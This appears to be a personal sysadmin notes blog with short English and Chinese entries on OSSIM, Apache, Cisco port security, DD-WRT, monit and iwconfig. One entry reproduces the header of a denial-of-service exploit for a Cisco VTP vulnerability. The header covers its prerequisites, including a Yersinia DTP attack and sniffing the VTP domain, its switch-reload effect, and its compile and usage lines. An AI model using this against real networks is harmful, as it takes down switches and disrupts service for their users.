what's the manner of ossimframework.OssimDB : Error executing query (INSERT INTO event_stats....

ossim version 1.0.6,has a bug: it didn't create the snort.event_stats table,cause the events->event stats display error.

this problem described in https://www.ossim.net/forum/index.php?t=msg&goto=1125&S=fa53755c1ecfa7a74cb39dc4c245919e&srch=%22Event+Stats%22#msg_1125

you can resolve this through:
mysql -uroot -p snort < snort.event_stats.sql

apache的index设置

DirectoryIndex index.html index.php

index.html和index.php直接要使用 '空格'而不是 ，

How to bind mac-address to cisco switch port

switchport port-security mac-address 1111.1111.1111

the "restrict" is recommend

DoS code for Cisco VLAN Trunking Protocol Vulnerability

/*DoS code for Cisco VLAN Trunking Protocol Vulnerability
*
*vulerability discription:
*http://www.cisco.com/warp/public/707/cisco-sr-20081105-vtp.shtml
*
*To Known:
* 1.the switch must in Server/Client Mode.
* 2.the port ,attacker connected,must be in trunk Mode.
* Cisco Ethernet ports with no configuration are not
* in trunk.but trunk mode can be obtained through DTP
* attack by Yersinia.
* 3.you must known the vtp domain,this can be sniffed
* 4.some codes are from Yersinia.
*
*Result:
* switch reload.
*
*
*Compile:
* gcc -o vtp `libnet-config --libs` vtp.c
*
*Usage:vtp -i -d

"repeater mode" in the DD-WRT

If you want to repeat the network from an another AP，you can set the wireless->basic-setting->"Wireless Physical Interface" to "client" or "client bridge","repeater" or "repeater bridge".the difference between these can be searched. what I want to say is above all you must set setup->Basic setup-> WAN Connection Type->connection type in "DHCP" mod。 because without this the dd-wrt cannot acquire IP address from the another AP,which you want to repeated。

Debian下使用monit实现程序的自动重启

debian是使用monit来实现对允许的程序进行监控，并能实现自动重启。

另外在/etc/inittab，使用respawn选项，也可以实现对程序的实时监控。

watchdog实现的目标是对系统的状态进行监控，当出现异常时可以重启操作系统，并不适合对进程状态的监控。

how to config wireless with iwconfig

1. list the wireless ap
iwlist scan
2. set the $ssid name of ap
iwconfig wlan0 essid $ssid
3. set the $key of wep
iwconfig wlan0 key s:$key --> ascii mod
iwconfig wlan0 key xxxx-xxxx-xx --> hex mod
4. specify the ap's mac
iwconfig wlan0 ap xx:xx:xx:xx:xx:xx

obtain ip address from:
dhclient wlan0
